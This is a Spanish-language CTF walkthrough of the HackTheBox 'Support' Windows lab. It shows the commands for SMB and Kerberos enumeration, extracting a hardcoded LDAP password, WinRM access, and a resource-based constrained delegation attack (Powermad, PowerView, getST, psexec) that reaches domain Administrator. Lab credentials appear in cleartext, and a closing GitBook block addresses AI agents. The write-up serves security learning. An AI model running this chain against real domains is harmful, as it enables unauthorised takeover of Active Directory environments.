> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Resolución de HackTheBox Support

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB
* Análisis binario de EXE
* Depuración con DNSpy
* Establecer puntos de interrupción y obtener una contraseña LDAP en texto claro (DNSpy)
* Enumeración de usuarios de Kerberos (kerbrute)
* Enumeración LDAP (ldapsearch)
* Fuga de información
* Abuso del grupo Usuarios de administración remota (Evil-WinRM)
* Enumeración con SharpHound + BloodHound
* Abuso de cuentas de soporte compartidas (GenericAll) (ataque RBCD) (delegación restringida basada en recursos)
* Ataque de delegación restringida basada en recursos - Creación de un objeto de equipo (powermad.ps1)
* Ataque de delegación restringida basada en recursos - PowerView\.ps1
* Ataque de delegación restringida basada en recursos - Obtención del ticket del servicio suplantado (getST.py)
* Usar el ticket para obtener acceso de Administrador (escalada de privilegios)
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/b97b6e43edcdf48735ae2dcc047d042d79b70f9f" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/40f5fa3be181512d0fdfa5b07ca7f111960ea366" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:** Usando Nmap para escanear versiones de puertos y extraer información en el archivo "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/c1f19c8b0dc37ee404ea2dfac97200e9256daed7" alt=""><figcaption></figcaption></figure>

## **Enumeración del DC:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### Lista SMB:

Uso de CrackMapExec para la enumeración SMB.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/178cc7d97c90636efd099ad905ba32585bbfa664" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

<figure><img src="/files/1af222178b304312d93b3b831ea6ebb88fe4467f" alt=""><figcaption></figcaption></figure>

### **Lista de Kerberos:**

Uso de Kerbrute para enumerar usuarios.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/96fff2a5fc2115f454381855fe070529bc3e36da" alt=""><figcaption></figcaption></figure>

### **Exploración de recursos compartidos de red:**

Buscar carpetas compartidas en la red.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/8b9f2736f3fb7efdf610e818a69724a38153f8fb" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/529455ddb67a882bd6d3be160d6e37fd4104cf6f" alt=""><figcaption></figcaption></figure>

Descubrimos un archivo zip interesante llamado "UserInfo-exe-zip". Para continuar, usamos el `get` comando para descargarlo a nuestra máquina.

<figure><img src="/files/4dc1fe6a8de8177d92b8760ac5fa22b230add4d2" alt=""><figcaption></figcaption></figure>

### /*/* Análisis de archivo binario de Windows\:/*/*

Vamos a ejecutar un ejecutable de Windows en una máquina equipada con Windows.

Para ello, necesitamos:

1. Transferir el archivo ZIP

<figure><img src="/files/c6dfbc6dab47bb103f47ec801901591c1e5cdcbe" alt=""><figcaption></figcaption></figure>

2. Migración de la configuración de la VPN
3. `/etc/hosts` Configuración

<figure><img src="/files/f64371346144ca45183ead3dac452d674a3bb8be" alt=""><figcaption></figcaption></figure>

Para ejecutar el binario e identificar a todos los usuarios válidos, solo introduce el siguiente comando

```bash
./UserInfo.exe find -first * -last *
```

#### Este binario nos permitirá listar usuarios.

<figure><img src="/files/a0b3778e255b4df9e58bfbdbc578774c25d2dcb0" alt=""><figcaption></figcaption></figure>

#### Análisis del archivo binario de Windows descargado con DNspy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/9c979690d66d690ef4a053c73e7c92474ab8da53" alt=""><figcaption></figcaption></figure>

### **Extracción de una contraseña en texto claro:**

Uso de DNspy para extraer una contraseña en texto claro de un binario de Windows.

<figure><img src="/files/3dae5b9df4db93fdd3b23319e34834ebef75c2b8" alt=""><figcaption></figcaption></figure>

Ejecutaremos el programa, pero nos detendremos solo en la sección donde el texto esté claro.

<figure><img src="/files/0434c9aab3106134cff1cf9dc272f65a603839c2" alt=""><figcaption></figcaption></figure>

Aquí está la contraseña LDAP:

<figure><img src="/files/18a0efe18fc927f7faf47ad166d3fa3e5b547878" alt=""><figcaption></figcaption></figure>

### **Verificación de la contraseña LDAP:**

Comprobación de la contraseña extraída con CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/0212026d5460a980010d08b09c87676d7a536759" alt=""><figcaption></figcaption></figure>

### Lista del dominio:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Usuarios del dominio

```
enumdomusers
```

<figure><img src="/files/aea2804fe65b34ca201fda8d603ee3a8e4ac2230" alt=""><figcaption></figcaption></figure>

#### Grupos del dominio

```bash
enumdomgroups
```

<figure><img src="/files/d6cdcd46d776a2b17c24198f5b7ade40406365cb" alt=""><figcaption></figcaption></figure>

#### Descripciones de usuario:

```bash
querydispinfo
```

<figure><img src="/files/4b04a86f920be1ebde1af3fcb184edb96da0a873" alt=""><figcaption></figcaption></figure>

#### Insertar todos los usuarios válidos del dominio en un archivo.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/c70905ee4e9f4d2b00e33fbef3ee9dba1457fa70" alt=""><figcaption></figcaption></figure>

#### Ahora comprobaremos si la contraseña LDAP se reutiliza para alguno de los siguientes usuarios:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

Sin embargo, esto no funciona.

<figure><img src="/files/e0f6053ce6f587ba810bfd7da0e191c3ce911ed0" alt=""><figcaption></figcaption></figure>

### **Listado de LDPA:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Uso de la búsqueda LDAP para enumerar información.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Hay muchos datos disponibles; sin embargo, al aplicar un filtro sobre la información de la canción, se descubre una contraseña para el usuario support.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/dba40edfba2ca99bc8336e367c3d3bbb6732bcd8" alt=""><figcaption></figcaption></figure>

## **Explotación:**

#### Usa CrackMapExec para confirmar la contraseña asociada a la cuenta support.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Este usuario forma parte del grupo de usuarios de administración remota, lo que nos permite conectarnos mediante Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Uso de Evil-WinRM:**

Conéctate al sistema objetivo mediante Evil-WinRM usando la información identificada obtenida.

<figure><img src="/files/c0cdbf035c080e66c9e774a3de7a534a468cef3d" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### **Revisión de los privilegios actuales:**<br>

Usando las `whoami /priv` comando para comprobar los privilegios del usuario, sin éxito.<br>

<figure><img src="/files/b07fbbe7293e1f7b5f656c110047146614b6c74b" alt=""><figcaption></figcaption></figure>

### **Análisis de los grupos de pertenencia:**

Usando las `net user support` comando para inspeccionar los grupos a los que pertenece el usuario.

Descubrimiento de un grupo aparentemente raro, "shared support accounts".

<figure><img src="/files/8236421efdf19ce02191198d3eccdda77b7c20ae" alt=""><figcaption></figcaption></figure>

### **Uso de BloodHound para el análisis de privilegios:**

#### Uso de la herramienta BloodHound para mapear relaciones de acceso.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/9984fea32eb8bdb8849896adb09229054ab71169" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/42ced4f6f32da1f43e9d889ebf95648a2b0fd4b2" alt=""><figcaption></figcaption></figure></div>

### **Ejecución de SharpHound para un análisis posterior:**

Uso de SharpHound, una herramienta complementaria a BloodHound, para recopilar datos adicionales sobre relaciones de acceso.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/ac7cdb9a14cfc176bd5fe782bcce40e58e55e705" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/9ef94eb66328697443772b1ac5620ae717a7fe3a" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad: ataque de delegación restringida basada en recursos:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Identificación de la vulnerabilidad: ataque de delegación restringida basada en recursos:**

<div data-full-width="true"><figure><img src="/files/d3a735e269b8314e82b39303f4aef8fcc5497ec8" alt=""><figcaption></figcaption></figure></div>

#### Despliegue del script Powermad para crear una cuenta de equipo.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Uso de PowerView para comprobar la creación de la cuenta de equipo.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/e09b1a7a8e25130b1410976cd88c09730932e295" alt=""><figcaption></figcaption></figure></div>

#### Definición de autorizaciones para la cuenta de equipo mediante comandos de PowerShell.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### Con este comando, comprobamos si todo el procedimiento 'Get-DomainComputer dc' funciona usando las propiedades 'msds-allowedtoactonbehalfofather identity'.

<div data-full-width="true"><figure><img src="/files/c086460a295cbb6d17b198865ba23f867e058a63" alt=""><figcaption></figcaption></figure></div>

### **Explotación de la vulnerabilidad**

#### Uso de la herramienta Impacket para ejecutar el `getST` comando para obtener un ticket TGT que suplanta al usuario Administrador.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/40b3ac071f8933c31820cb4a5ed387ccc0b9b420" alt=""><figcaption></figcaption></figure>

#### Configura el entorno Kerberos del Administrador exportando `KRB5CCNAME`, y luego conéctate al sistema objetivo usando Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/feeafb9b385a392db724b3a35c5505440f4d1a6b" alt=""><figcaption></figcaption></figure>

### Bandera final :)

<figure><img src="/files/5df40ba1f139589da157aa675817542b87d9ca4d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8d61c28f50472a6b14b42ca95349ec49db210628" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
